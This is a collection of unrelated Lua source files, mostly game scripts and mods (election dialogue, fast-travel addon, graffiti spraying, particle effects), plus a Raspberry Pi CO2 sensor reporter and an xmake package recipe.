clonedConversation:addOption("@conversation/tour_aryon:s_3829680a", "completely_understand") -- I'm... uh, gonna go. Bye!
elseif (screenID == "glad_youre_taking_part") then
if not BestineElection:hasPlayerVoted(pPlayer) then
if BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) then
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_victor_evidence") -- I am ready to vote.
elseif BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) then
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_sean_evidence") -- I am ready to vote.
end
end
clonedConversation:addOption("@conversation/tour_aryon:s_23b3506c", "two_eligible_candidates") -- I need more information, please.
clonedConversation:addOption("@conversation/tour_aryon:s_a44272b4", "without_proper_evidence") -- What evidence?
elseif (screenID == "without_proper_evidence") then
if (not BestineElection:hasPlayerVoted(pPlayer) and (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) or BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR))) then
clonedConversation:addOption("@conversation/tour_aryon:s_90ec63e0", "are_you_ready") -- Yes, I do.
else
clonedConversation:addOption("@conversation/tour_aryon:s_1f2450ea", "glad_youre_taking_part") -- No, I need to go get it.
end
elseif (screenID == "are_you_ready") then
if (BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR)) then
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_victor_evidence") -- I am ready to vote.
elseif (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN)) then
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_sean_evidence") -- I am ready to vote.
else
clonedConversation:addOption("@conversation/tour_aryon:s_1a74caee", "has_no_evidence") -- I am ready to vote.
end
elseif (screenID == "vote_for_sean") then
if (BestineElection:canVoteForCandidate(pPlayer, BestineElection.SEAN) and BestineElection:removeCandidateEvidence(pPlayer, BestineElection.SEAN)) then
BestineElection:addPlayerVote(pPlayer, BestineElection.SEAN)
end
elseif (screenID == "vote_for_victor") then
if (BestineElection:canVoteForCandidate(pPlayer, BestineElection.VICTOR) and BestineElection:removeCandidateEvidence(pPlayer, BestineElection.VICTOR)) then
BestineElection:addPlayerVote(pPlayer, BestineElection.VICTOR)
end
end
return pConvScreen
end
|
#!/usr/bin/lua
--[[ Moduleinbindung ]]--
-- Selbstredend... Hoffe ich.... --
----------------------------------------------
status, socket = pcall(require, "socket")
if not status then
print("Bitte Socket Erweiterung installieren.")
print("sudo apt-get install lua-socket")
os.exit(1)
end
----------------------------------------------
--[[ Konfigurationsbereich ]]--
-- Selbstredend... Hoffe ich.... --
----------------------------------------------
rcon_port = 9910
rcon_host = "luftwache.devbot.de" -- !DONT TOUCH!
rcon_user = "new" -- EIGENEN USER BEANTRAGEN!
rcon_secret = "xxxxxxx" -- UND PASSENDES SECRET!
----------------------------------------------
--[[ Helferfunktionen ]]--
-- einfach ignorieren.... Hier geht es um --
-- ganz andere Dinge ;-) --
----------------------------------------------
function os.capture(cmd, raw)
local f = assert(io.popen(cmd, 'r'))
local s = assert(f:read('*a'))
f:close()
if raw then return s end
s = string.gsub(s, '^%s+', '')
s = string.gsub(s, '%s+$', '')
s = string.gsub(s, '[\n\r]+', ' ')
return s
end
----------------------------------------------
--[[ Datenbeschaffung ]]--
-- Da wir hier einen RaspberryPI nutzen, --
-- bietet sich der CPU/GPU Temp Sensor an. --
----------------------------------------------
raspberry_temp = os.capture('vcgencmd measure_temp | grep -o "[0-9\.]*"')
usb_sensor = os.capture('python /home/pi/co2info/office_weather/monitor_anpassung.py /dev/hidraw0')
-- Der inhalt von usb_sensor sieht ca. so aus CO2: 761 T: 22.48
print(usb_sensor)
local _, _, co2, temp = string.find(usb_sensor,'CO2:[ ]+([0-9\.]+)[ ]+T:[ ]+([0-9\.]+)')
print(co2.." "..temp)
--if co2 & temp then
--co2 = 0
uptime = os.capture("cat /proc/uptime | awk -F' ' '{print $1}' | awk -F'.' '{print $1}'")
voltage = os.capture('vcgencmd measure_volts | grep -o "[0-9\.]*"')
----------------------------------------------
--[[ The simple way ]]--
-- Man kann, falls man keine JSON lib hat, --
-- den String natürlich selbst aufbauen. --
-- das funktioniert für einen einzelnen --
-- Sensor noch relativ gut, für mehrere aber--
-- eher weniger --
----------------------------------------------
id = "xxx0989xxx" -- Sollte bestehen aus a-z und 0-9 und 12(?) Zeichen.
stationname = "xxxx_CO2" -- Bitte sinnig wählen. ;-)
rasperry_temp_sensorname = "CPU" -- Ebenfalls. ;-)
temp_sensorname = "RoomTemp_01" -- Ebenfalls. ;-)
co2_sensorname = "RoomCO2_01" -- Na wie wohl ;-)
sensordata = '{"version":"0.3","id":"'..id..'","nickname":"'..stationname..'",'..
'"sensors":{"temperature":[{"name":"'..temp_sensorname..'","value":'..temp..',"unit":"deg"}],"co2":[{"name":"'..co2_sensorname..'","value":'..co2..',"unit":"ppm"}]},'..
'"system":{"voltage":'..voltage..',"timestamp":0,"uptime":'..uptime..',"heap":0}}'
sensordata = string.gsub(sensordata, "[\n\r]+", "") -- Wir entfernen jeden Zeilenumbruch im Sensors Objekt, denn rcon ist Zeilenbasiert
----------------------------------------------
--[[ The network stuff ]]--
----------------------------------------------
rcon_host = socket.dns.toip(rcon_host) -- Wir lösen erst mal den hostnamen auf.
rcon = socket.udp() -- Erstellen einen UDP Socket.
rcon:setpeername(rcon_host, rcon_port) -- Und sagen ihm, wohin er gehen soll.
-- Ok, dann schicken wir mal unser rcon paket für Sensoren.
-- Die Syntax dafür lautet:
-- user:secret setsensors sensordata
-- Wobei sensordata das JSON Objekt enthält, dass wir weiter oben gebaut haben.
rcon:send(rcon_user..":"..rcon_secret.." setsensors "..sensordata)
rcon:settimeout(10) -- Wir setzen den Socket Timeout auf 10 Sekunden
data = rcon:receive() -- Um Anschließend nicht länger als 10 Sekunden auf eine mögliche Antwort zu warten.
if data then -- Sollte eine Antwort vorliegen, zeigen wir sie nun an und beenden das Programm.
print(data)
end
----------------------------------------------
|
AddCSLuaFile("cl_init.lua")
AddCSLuaFile("shared.lua")
include("shared.lua")
function ENT:Initialize()
self:SetModel(table.Random(PrisonSystem.Config.Cook.Models))
self:SetUseType(SIMPLE_USE)
self:PhysicsInit(SOLID_VPHYSICS)
self:SetMoveType(MOVETYPE_VPHYSICS)
self:SetSolid(SOLID_VPHYSICS)
local phys = self:GetPhysicsObject()
phys:Wake()
self.isCooked = false
end
local dirtyColor = Color(200, 200, 200)
function ENT:SetCooked(state)
if state then
self:SetColor(dirtyColor)
else
self:SetColor(color_white)
end
self.isCooked = state
end
function ENT:Use(activator, caller)
end
|
ModLoader.SetupFileHook( "lua/Whip_Server.lua", "lua/WhipRebalance/Whip_Server.lua", "post" )
ModLoader.SetupFileHook( "lua/Whip.lua", "lua/WhipRebalance/Whip.lua", "post" )
|
local MapTabWayshrines = FasterTravel.class(FasterTravel.MapTab)
FasterTravel.MapTabWayshrines = MapTabWayshrines
local Location = FasterTravel.Location
local Wayshrine = FasterTravel.Wayshrine
local Transitus = FasterTravel.Transitus
local Campaign = FasterTravel.Campaign
local Utils = FasterTravel.Utils
local function ShowWayshrineConfirm(data,isRecall)
local nodeIndex,name,refresh,clicked = data.nodeIndex,data.name,data.refresh,data.clicked
ZO_Dialogs_ReleaseDialog("FAST_TRAVEL_CONFIRM")
ZO_Dialogs_ReleaseDialog("RECALL_CONFIRM")
name = name or select(2, Wayshrine.Data.GetNodeInfo(nodeIndex)) -- just in case
local id = (isRecall == true and "RECALL_CONFIRM") or "FAST_TRAVEL_CONFIRM"
if isRecall == true then
local _, timeLeft = GetRecallCooldown()
if timeLeft ~= 0 then
local text = zo_strformat(SI_FAST_TRAVEL_RECALL_COOLDOWN, name, ZO_FormatTimeMilliseconds(timeLeft, TIME_FORMAT_STYLE_DESCRIPTIVE, TIME_FORMAT_PRECISION_SECONDS))
ZO_Alert(UI_ALERT_CATEGORY_ERROR, SOUNDS.NEGATIVE_CLICK, text)
return
end
end
ZO_Dialogs_ShowPlatformDialog(id, {nodeIndex = nodeIndex}, {mainTextParams = {name}})
end
local function ShowWayshrineMenu(owner,data,favourites)
ClearMenu()
if data == nil or favourites == nil then return end
local nodeIndex = data.nodeIndex
if favourites.list:contains(nodeIndex) then
AddMenuItem("Remove Favourite", function()
favourites.remove(nodeIndex)
ClearMenu()
end)
else
AddMenuItem("Add Favourite", function()
favourites.add(nodeIndex)
ClearMenu()
end)
end
ShowMenu(owner)
end
local function ShowTransitusConfirm(data,isRecall)
if not isRecall then
TravelToKeep(data.nodeIndex)
end
end
local function AttachRefreshHandler(args,data)
local refresh = args.refresh
data.refresh = function(self,control)
control.label:SetText(self.name)
if refresh then
refresh(self,control)
end
end
end
local function AttachWayshrineDataHandlers(args, data)
AttachRefreshHandler(args,data)
local clicked = args.clicked
local isRecall = args.nodeIndex == nil
local isKeep = args.isKeep
local inCyrodiil = args.inCyrodiil
data.clicked = function(self,control,button)
if inCyrodiil == true and (isRecall == true or isKeep == true) then return end
if button == 1 then
ShowWayshrineConfirm(self,isRecall)
elseif button == 2 then
ShowWayshrineMenu(control,self,args.favourites)
end
end
return data
end
local function AttachTransitusDataHandlers(args,data)
AttachRefreshHandler(args,data)
local clicked = args.clicked
data.clicked = function(self,control,button)
if button ~= 1 then return end
ShowTransitusConfirm(self,args.nodeIndex == nil)
end
return data
end
local function AttachCampaignDataHandlers(args,data)
AttachRefreshHandler(args,data)
data.clicked = function(self,control,button)
if button ~= 1 then return end
local id,name,group = data.id,data.name,data.group
Campaign.EnterLeaveOrJoin(id,name,group)
end
return data
end
local function AddRowToLookup(self,control,lookup)
local nidx = self.nodeIndex
local lk = lookup[nidx]
if lk == nil then
lookup[nidx] = {control=control,data=self}
else
lk.control = control
lk.data = self
end
end
local function IsTransitusDataRequired(isKeep,nodeIndex)
return (isKeep or nodeIndex == nil)
end
local function GetCyrodiilWayshrinesData(args)
local nodes = Transitus.GetKnownNodes(args.nodeIndex, args.nodeIndex ~= nil or nil)
nodes = Utils.map(nodes,function(item)
return AttachTransitusDataHandlers(args,item)
end)
return nodes
end
local function GetPlayerCampaignsData(args)
-- TODO: return player campaigns
local nodes = Campaign.GetPlayerCampaigns()
nodes = Utils.map(nodes,function(item)
return AttachCampaignDataHandlers(args,item)
end)
return nodes
end
local function GetZoneWayshrinesData(args)
local zoneIndex = args.zoneIndex
local nodeIndex = args.nodeIndex
local isKeep = args.isKeep
local inCyrodiil = args.inCyrodiil
-- special handling for Cyrodiil =(
if Location.Data.IsZoneIndexCyrodiil(zoneIndex) == true then
if inCyrodiil == true and IsTransitusDataRequired(isKeep,nodeIndex) == true then
return GetCyrodiilWayshrinesData(args)
elseif inCyrodiil == false then
return GetPlayerCampaignsData(args)
end
end
local iter = Wayshrine.GetKnownWayshrinesByZoneIndex(zoneIndex,nodeIndex)
iter = Utils.map(iter,function(item)
return AttachWayshrineDataHandlers(args,item)
end)
local data = Utils.toTable(iter)
table.sort(data,function(x,y) return x.name < y.name end)
return data
end
local function GetListWayshrinesData(list,args)
if list == nil then return {} end
local nodeIndex = args.nodeIndex
local iter = Utils.where(list:items(),
function(v) return (nodeIndex == nil or v.nodeIndex ~= nodeIndex) end)
iter = Utils.map(iter,function(d)
local known,name = Wayshrine.Data.GetNodeInfo(d.nodeIndex)
d.name = name
return AttachWayshrineDataHandlers(args,d)
end)
return Utils.toTable(iter)
end
local function GetRecentWayshrinesData(recentList,args)
return GetListWayshrinesData(recentList,args)
end
local function GetFavouritesWayshrinesData(favourites,args)
return GetListWayshrinesData(favourites.list,args)
end
local function HandleCategoryClicked(self,i,item,data,control,c)
local idx = GetCurrentMapIndex()
if idx ~= item.mapIndex then
if self:IsCategoryHidden(i) == true then
self:SetCategoryHidden(i,false)
end
ZO_WorldMap_SetMapByIndex(item.mapIndex)
else
self:SetCategoryHidden(i, not self:IsCategoryHidden(i) )
end
self:OnCategoryClicked(i,item,data,control,c)
end
local function PopulateLookup(lookup,data)
for i,node in ipairs(data) do
lookup[node.nodeIndex] = {data=node}
end
end
function MapTabWayshrines:init(control,locations,locationsLookup,recentList,favourites)
self.base.init(self,control)
control.IconMouseEnter = FasterTravel.hook(control.IconMouseEnter,function(base,control,...)
base(control,...)
self:IconMouseEnter(...)
end)
control.IconMouseExit = FasterTravel.hook(control.IconMouseExit,function(base,control,...)
base(control,...)
self:IconMouseExit(...)
end)
control.IconMouseClicked = FasterTravel.hook(control.IconMouseClicked,function(base,control,...)
base(control,...)
self:IconMouseClicked(...)
end)
control.RowMouseEnter = FasterTravel.hook(control.RowMouseEnter,function(base,control,...)
base(control,...)
self:RowMouseEnter(...)
end)
control.RowMouseExit = FasterTravel.hook(control.RowMouseExit,function(base,control,...)
base(control,...)
self:RowMouseExit(...)
end)
control.RowMouseClicked = FasterTravel.hook(control.RowMouseClicked,function(base,control,...)
base(control,...)
self:RowMouseClicked(...)
end)
local _first = true
local _rowLookup = {}
local currentZoneIndex
local currentMapIndex
local _locations = locations
local _locationsLookup = locationsLookup
local currentNodeIndex,currentIsKeep, currentInCyrodiil
self.IsRecall = function(self)
return currentNodeIndex == nil
end
self.IsKeep = function(self)
return currentIsKeep
end
self.InCyrodiil = function(self)
return currentInCyrodiil
end
self.GetRowLookups = function(self)
return _rowLookup
end
self.GetCurrentZoneMapIndexes = function(self)
return currentZoneIndex,currentMapIndex
end
self.SetCurrentZoneMapIndexes = function(self,zoneIndex,mapIndex)
currentZoneIndex = zoneIndex
if zoneIndex == nil then
currentMapIndex = nil
elseif mapIndex == nil then
loc = locationsLookup[zoneIndex]
if loc ~= nil then
currentMapIndex = loc.mapIndex
end
elseif mapIndex ~= nil then
currentMapIndex = mapIndex
end
end
self.Refresh = function(self,nodeIndex,isKeep)
_rowLookup.categories ={}
_rowLookup.current = {}
_rowLookup.favourites = {}
_rowLookup.recent = {}
_rowLookup.zone = {}
isKeep = isKeep == true
currentNodeIndex = nodeIndex
currentIsKeep = isKeep
local inCyrodiil = IsInCampaign() or IsInCyrodiil() or IsInImperialCity() or Location.Data.IsZoneIndexCyrodiil(currentZoneIndex)
currentInCyrodiil = inCyrodiil
local recentlookup = _rowLookup.recent
local favouriteslookup = _rowLookup.favourites
local currentlookup = _rowLookup.current
local recent = GetRecentWayshrinesData(recentList,{nodeIndex=nodeIndex,favourites=favourites, refresh=function(self,control) AddRowToLookup(self,control,recentlookup) end})
local faves = GetFavouritesWayshrinesData(favourites,{nodeIndex=nodeIndex,favourites=favourites, refresh=function(self,control) AddRowToLookup(self,control,favouriteslookup) end})
local current = GetZoneWayshrinesData({nodeIndex = nodeIndex, zoneIndex = currentZoneIndex, isKeep = isKeep, inCyrodiil = inCyrodiil, favourites=favourites, refresh=function(self,control) AddRowToLookup(self,control,currentlookup) end})
local curLoc = _locationsLookup[currentZoneIndex] or _locationsLookup["tamriel"]
local curName = curLoc.name
local categories = {
{
name = GetString(SI_MAP_INFO_WAYSHRINES_CATEGORY_RECENT),
data = recent,
hidden = not _first and self:IsCategoryHidden(1)
},
{
name = GetString(SI_MAP_INFO_WAYSHRINES_CATEGORY_FAVOURITES),
data = faves,
hidden = not _first and self:IsCategoryHidden(2)
},
{
name = string.format("%s (%s)", GetString(SI_MAP_INFO_WAYSHRINES_CATEGORY_CURRENT), curName),
data = current,
hidden = not _first and self:IsCategoryHidden(3),
clicked=function(data,control,c)
HandleCategoryClicked(self,3,{zoneIndex=currentZoneIndex,mapIndex=currentMapIndex},currentlookup,data,control,c)
if self:IsCategoryHidden(3) == false and curLoc.click then
curLoc.click()
end
end,
curZoneIndex = currentZoneIndex
}
}
PopulateLookup(recentlookup,recent)
PopulateLookup(currentlookup,current)
PopulateLookup(favouriteslookup,faves)
local count = #categories
local zoneLookup = _rowLookup.zone
local locations = _locations
local categoryLookup = _rowLookup.categories
if locations ~= nil then
local lcount = #locations
for i,item in ipairs(locations) do
local id = i + count
local lookup = {}
zoneLookup[item.zoneIndex]=lookup
local data = GetZoneWayshrinesData({
nodeIndex=nodeIndex,
isKeep=isKeep,
zoneIndex=item.zoneIndex,
inCyrodiil = inCyrodiil,
favourites=favourites,
refresh = function(self,control) AddRowToLookup(self,control,lookup) end
})
PopulateLookup(lookup,data)
local category = {
name = item.name,
hidden = _first or self:IsCategoryHidden(id),
data=data,
clicked= function(data,control,c)
HandleCategoryClicked(self,id,item,lookup,data,control,c)
if item.click then
item.click()
end
if not self:IsCategoryHidden(id) then
for ii=count+1,lcount do
if ii ~= id and self:IsCategoryHidden(ii) == false then
self:SetCategoryHidden(ii,true)
end
end
end
end,
zoneIndex = item.zoneIndex
}
table.insert(categories,category)
end
end
self:ClearControl()
local cdata = self:AddCategories(categories)
self:RefreshControl(categories)
for i,c in ipairs(cdata) do
if c.zoneIndex ~= nil then
categoryLookup[c.zoneIndex] = c
end
end
_rowLookup.categoriesTable = cdata
_first = false
end
self.HideAllZoneCategories = function(self)
for i, loc in ipairs(locations) do
self:SetCategoryHidden(i+3,true)
end
end
end
function MapTabWayshrines:OnCategoryClicked(i,item,lookup,data,control,c)
end
function MapTabWayshrines:IconMouseEnter(...)
end
function MapTabWayshrines:IconMouseExit(...)
end
function MapTabWayshrines:IconMouseClicked(...)
end
function MapTabWayshrines:RowMouseEnter(...)
end
function MapTabWayshrines:RowMouseExit(...)
end
function MapTabWayshrines:RowMouseClicked(...)
end
|
-----------------------------------
-- Ability: Sange
-- Daken will always activate but consumes shuriken while active.
-- Obtained: Ninja Level 75 Merits
-- Recast Time: 00:03:00 minutes
-- Duration: 00:01:00 minute
-----------------------------------
require("scripts/globals/status")
-----------------------------------
function onAbilityCheck(player,target,ability)
return 0,0
end
function onUseAbility(player,target,ability)
player:addStatusEffect(tpz.effect.SANGE, 0, 0, 60)
end
|
TAG_VISIBILITY_DISTANCE = 100
TAG_VISIBILITY_DISTANCE_SQ = TAG_VISIBILITY_DISTANCE*TAG_VISIBILITY_DISTANCE
function initSpraying()
empty_tex = dxCreateTexture(0,0)
tag_root = getElementByID("drawtag:tags")
all_tags = {}
visible_tags = {}
initTagPosData()
initExistingTags()
tag_stream_thread = coroutine.create(streamTags)
addEventHandler("onClientElementDataChange",tag_root,updateTagData)
addEventHandler("onClientElementDestroy",tag_root,clearTagData)
addEventHandler("onClientElementDataChange",localPlayer,updateTextureForNewTag)
addEventHandler("onClientPreRender",root,renderTags)
addEventHandler("onClientPlayerWeaponFire",root,playerSpraying)
end
function initExistingTags()
local tags = getElementChildren(tag_root)
for tagnum,tag in ipairs(tags) do
if getElementData(tag,"visible") then
pushTagOnSpray(tag,getElementData(tag,"visibility")-1)
addTagToPosList(tag)
all_tags[tag] = true
end
end
end
function getTagCenterPosition(tag)
return getElementData(tag,"x"),getElementData(tag,"y"),getElementData(tag,"z")
end
function setTagCenterPosition(tag,x,y,z)
setElementData(tag,"x",x)
setElementData(tag,"y",y)
setElementData(tag,"z",z)
end
function createTagTexture(tag)
local tex = getElementData(tag,"texture")
if tex then return end
local pngdata = getElementData(tag,"pngdata")
if not pngdata then return end
tex = dxCreateTexture(pngdata,"dxt1",false,"clamp")
setElementData(tag,"texture",tex,false)
return tex
end
function destroyTagTexture(tag)
local tex = getElementData(tag,"texture")
if not tex then return end
destroyElement(tex)
setElementData(tag,"texture",false,false)
end
function updateTagData(dataname,oldval)
if dataname == "visible" then
addTagToPosList(source)
all_tags[source] = true
local cx,cy,cz = getCameraMatrix()
local x,y,z = getTagCenterPosition(source)
x,y,z = x-cx,y-cy,z-cz
if x*x+y*y+z*z < TAG_VISIBILITY_DISTANCE_SQ then
visible_tags[source] = true
createTagTexture(source)
end
elseif dataname == "visibility" and oldval then
pushTagOnSpray(source,getElementData(source,"visibility")-oldval)
end
end
function pushTagOnSpray(tag,off)
local nx,ny,nz = getElementData(tag,"nx"),getElementData(tag,"ny"),getElementData(tag,"nz")
local nlen = 0.001/math.sqrt(nx*nx+ny*ny+nz*nz)*off
nx,ny,nz = nx*nlen,ny*nlen,nz*nlen
local x1,y1,z1 = getElementData(tag,"x1"),getElementData(tag,"y1"),getElementData(tag,"z1")
local x2,y2,z2 = getElementData(tag,"x2"),getElementData(tag,"y2"),getElementData(tag,"z2")
x1,y1,z1,x2,y2,z2 = x1+nx,y1+ny,z1+nz,x2+nx,y2+ny,z2+nz
setElementData(tag,"x1",x1,false)
setElementData(tag,"y1",y1,false)
setElementData(tag,"z1",z1,false)
setElementData(tag,"x2",x2,false)
setElementData(tag,"y2",y2,false)
setElementData(tag,"z2",z2,false)
end
function clearTagData()
all_tags[source] = nil
visible_tags[source] = nil
destroyTagTexture(source)
removeTagFromPosList(source)
end
function renderTags()
coroutine.resume(tag_stream_thread)
do
local x,y,z = getElementPosition(localPlayer)
dxDrawMaterialLine3D(x,y,z,x,y,z,empty_tex,0,0,0,0,0)
end
for tag,visible in pairs(visible_tags) do
local x1,y1,z1 = getElementData(tag,"x1"),getElementData(tag,"y1"),getElementData(tag,"z1")
local x2,y2,z2 = getElementData(tag,"x2"),getElementData(tag,"y2"),getElementData(tag,"z2")
local nx,ny,nz = getElementData(tag,"nx"),getElementData(tag,"ny"),getElementData(tag,"nz")
local tex = getElementData(tag,"texture")
if (not tex) then
tex=createTagTexture(tag)
end
if (tex) then
dxDrawMaterialLine3D(x1,y1,z1,x2,y2,z2,tex,1.5,tocolor(255,255,255,128),x1+nx,y1+ny,z1+nz)
end
end
end
function streamTags()
while true do
local updated = 0
local cx,cy,cz = getCameraMatrix()
for tag,exists in pairs(all_tags) do
local x,y,z = getTagCenterPosition(tag)
x,y,z = x-cx,y-cy,z-cz
local dist = x*x+y*y+z*z
if visible_tags[tag] then
if dist > TAG_VISIBILITY_DISTANCE_SQ then
visible_tags[tag] = nil
destroyTagTexture(tag)
end
else
if dist <= TAG_VISIBILITY_DISTANCE_SQ then
visible_tags[tag] = true
createTagTexture(tag)
end
end
updated = updated+1
if updated == 64 then
coroutine.yield()
updated = 0
cx,cy,cz = getCameraMatrix()
end
end
coroutine.yield()
end
end
local ts = nil
function sprayNewTag(x,y,z,x1,y1,z1,x2,y2,z2,nx,ny,nz)
if (ts and getTickCount()-ts<120000) then
outputChatBox("Poczekaj chwilę.",255,0,0)
return
end
local tag = getElementData(localPlayer,"drawtag:tag")
if not tag then return end
setTagCenterPosition(tag,x,y,z)
setElementData(tag,"x1",x1)
setElementData(tag,"y1",y1)
setElementData(tag,"z1",z1)
setElementData(tag,"x2",x2)
setElementData(tag,"y2",y2)
setElementData(tag,"z2",z2)
setElementData(tag,"nx",nx)
setElementData(tag,"ny",ny)
setElementData(tag,"nz",nz)
setElementData(tag,"visible",true)
setElementData(tag,"visibility",1)
setElementData(localPlayer,"drawtag:tag",false)
local ts = getTickCount()
end
function updateTextureForNewTag(dataname,oldval)
if dataname ~= "drawtag:tag" then return end
updateTagTexture()
end
function playerSpraying(weapon,ammo,inclip,hitx,hity,hitz,hitel)
if weapon ~= 41 then return end
--local level = getElementData(source,"level")
--if not level or level and level~=3 then return end
local spraymode = getElementData(source,"drawtag:spraymode")
if not spraymode or spraymode=="none" then return end
local mx,my,mz = getPedWeaponMuzzlePosition(source)
hitx,hity,hitz = hitx-mx,hity-my,hitz-mz
local hdist = 2/math.sqrt(hitx*hitx+hity*hity+hitz*hitz)
hitx,hity,hitz = mx+hitx*hdist,my+hity*hdist,mz+hitz*hdist
local wall,x0,y0,z0,hitel,zx,zy,zz = processLineOfSight(mx,my,mz,hitx,hity,hitz,true,false,false,true,false,false,false,false)
if not wall then return end
local spraymode_draw = spraymode == "draw"
local tag = getNearestTag(x0,y0,z0)
if tag then
local visibility = getElementData(tag,"visibility")
if visibility == 90 and spraymode_draw then return end
visibility = spraymode_draw and visibility+1 or visibility-1
local sync = source == localPlayer and visibility%10 == 0
setElementData(tag,"visibility",visibility,sync)
elseif source == localPlayer and can_spray and spraymode_draw then
local zlen = 1/math.sqrt(zx*zx+zy*zy+zz*zz)
local xx,xy,xz
local yx,yy,yz
do
local w,h = guiGetScreenSize()
w,h = w*0.5,h*0.5
local x1,y1,z1 = getWorldFromScreenPosition(w,h,1)
local cux,cuy,cuz = getWorldFromScreenPosition(w,0,1)
cux,cuy,cuz = cux-x1,cuy-y1,cuz-z1
xx,xy,xz = zy*cuz-zz*cuy,zz*cux-zx*cuz,zx*cuy-zy*cux
yx,yy,yz = xy*zz-xz*zy,xz*zx-xx*zz,xx*zy-xy*zx
end
local xlen = 0.75/math.sqrt(xx*xx+xy*xy+xz*xz)
local ylen = 0.75/math.sqrt(yx*yx+yy*yy+yz*yz)
xx,xy,xz = xx*xlen,xy*xlen,xz*xlen
yx,yy,yz = yx*ylen,yy*ylen,yz*ylen
do
local cx,cy,cz = mx+zx,my+zy,mz+zz
local bx,by,bz = x0-zx*0.01,y0-zy*0.01,z0-zz*0.01
if isLineOfSightClear(cx,cy,cz,bx+xx+yx,by+xy+yy,bz+xz+yz,true,false,false,true,false,true,false) then return end
if isLineOfSightClear(cx,cy,cz,bx+xx-yx,by+xy-yy,bz+xz-yz,true,false,false,true,false,true,false) then return end
if isLineOfSightClear(cx,cy,cz,bx-xx+yx,by-xy+yy,bz-xz+yz,true,false,false,true,false,true,false) then return end
if isLineOfSightClear(cx,cy,cz,bx-xx-yx,by-xy-yy,bz-xz-yz,true,false,false,true,false,true,false) then return end
local fx,fy,fz = x0+zx*0.01,y0+zy*0.01,z0+zz*0.01
if not isLineOfSightClear(cx,cy,cz,fx+xx+yx,fy+xy+yy,fz+xz+yz,true,false,false,true,false,true,false) then return end
if not isLineOfSightClear(cx,cy,cz,fx+xx-yx,fy+xy-yy,fz+xz-yz,true,false,false,true,false,true,false) then return end
if not isLineOfSightClear(cx,cy,cz,fx-xx+yx,fy-xy+yy,fz-xz+yz,true,false,false,true,false,true,false) then return end
if not isLineOfSightClear(cx,cy,cz,fx-xx-yx,fy-xy-yy,fz-xz-yz,true,false,false,true,false,true,false) then return end
end
local off1 = -zlen*0.005
local off2 = -zlen*0.075
local x1,y1,z1 = x0+zx*off1+yx,y0+zy*off1+yy,z0+zz*off1+yz
local x2,y2,z2 = x0+zx*off2-yx,y0+zy*off2-yy,z0+zz*off2-yz
sprayNewTag(x0,y0,z0,x1,y1,z1,x2,y2,z2,zx,zy,zz)
end
end
----------------------------------------
function initTagPosData()
tag_pos_list = {}
end
function addTagToPosList(tag)
local x,y,z = getTagCenterPosition(tag)
x,y,z = math.floor(x*0.2),math.floor(y*0.2),math.floor(z*0.2)
if not tag_pos_list[z] then tag_pos_list[z] = {} end
if not tag_pos_list[z][y] then tag_pos_list[z][y] = {} end
if not tag_pos_list[z][y][x] then tag_pos_list[z][y][x] = {} end
tag_pos_list[z][y][x][tag] = true
end
function removeTagFromPosList(tag)
if not getElementData(tag,"visible") then return end
local x,y,z = getTagCenterPosition(tag)
x,y,z = math.floor(x*0.2),math.floor(y*0.2),math.floor(z*0.2)
if not tag_pos_list[z] then return end
if not tag_pos_list[z][y] then return end
if not tag_pos_list[z][y][x] then return end
tag_pos_list[z][y][x][tag] = nil
end
function getNearestTag(x,y,z)
local nearest_dist,nearest_tag = 2.25
local cx,cy,cz = math.floor(x*0.2),math.floor(y*0.2),math.floor(z*0.2)
for oz = -1,1 do
local plane = tag_pos_list[cz+oz]
if plane then
for oy = -1,1 do
local line = plane[cy+oy]
if line then
for ox = -1,1 do
local cube = line[cx+ox]
if cube then
for tag,exists in pairs(cube) do
local dx,dy,dz = getTagCenterPosition(tag)
dx,dy,dz = dx-x,dy-y,dz-z
local this_dist = dx*dx+dy*dy+dz*dz
if this_dist < nearest_dist then
nearest_tag = tag
nearest_dist = this_dist
end
end
end
end
end
end
end
end
return nearest_tag
end
----------------------------------
function getPlayerSprayMode(player)
return getElementData(player,"drawtag:spraymode") or "none"
end
|
assert(false, "must happen")
|
package("unqlite")
set_homepage("https://unqlite.org")
set_description("An Embedded NoSQL, Transactional Database Engine.")
set_urls("https://github.com/symisc/unqlite/archive/v$(version).tar.gz",
"https://github.com/symisc/unqlite.git")
add_versions("1.1.9", "33d5b5e7b2ca223942e77d31112d2e20512bc507808414451c8a98a7be5e15c0")
on_install("macosx", "linux", "windows", function (package)
io.writefile("xmake.lua", [[
target("unqlite")
set_kind("static")
add_files("*.c")
add_headerfiles("unqlite.h")
]])
import("package.tools.xmake").install(package)
end)
on_test(function (package)
assert(package:has_cfuncs("unqlite_open", {includes = "unqlite.h"}))
end)
|
function EFFECT:Init( data )
self.Position = data:GetOrigin()
local Pos = self.Position
local Norm = Vector(0,0,1)
Pos = Pos + Norm * 2
local emitter = ParticleEmitter( Pos )
--big firecloud
for i=1, 28 do
local particle = emitter:Add( "particles/flamelet"..math.random( 1, 5 ), Pos + Vector(math.random(-80,80),math.random(-80,80),math.random(0,70)))
particle:SetVelocity( Vector(math.random(-160,160),math.random(-160,160),math.random(250,300)) )
particle:SetDieTime( math.Rand( 3.4, 3.7 ) )
particle:SetStartAlpha( math.Rand( 220, 240 ) )
particle:SetStartSize( 48 )
particle:SetEndSize( math.Rand( 160, 192 ) )
particle:SetRoll( math.Rand( 360, 480 ) )
particle:SetRollDelta( math.Rand( -1, 1 ) )
particle:SetColor( math.Rand( 150, 255 ), math.Rand( 100, 150 ), 100 )
particle:VelocityDecay( false )
end
--small firecloud
for i=1, 20 do
local particle = emitter:Add( "particles/flamelet"..math.random( 1, 5 ), Pos + Vector(math.random(-40,40),math.random(-40,40),math.random(-30,20)))
particle:SetVelocity( Vector(math.random(-120,120),math.random(-120,120),math.random(170,250)) )
particle:SetDieTime( math.Rand( 3, 3.4 ) )
particle:SetStartAlpha( math.Rand( 220, 240 ) )
particle:SetStartSize( 32 )
particle:SetEndSize( math.Rand( 128, 160 ) )
particle:SetRoll( math.Rand( 360, 480 ) )
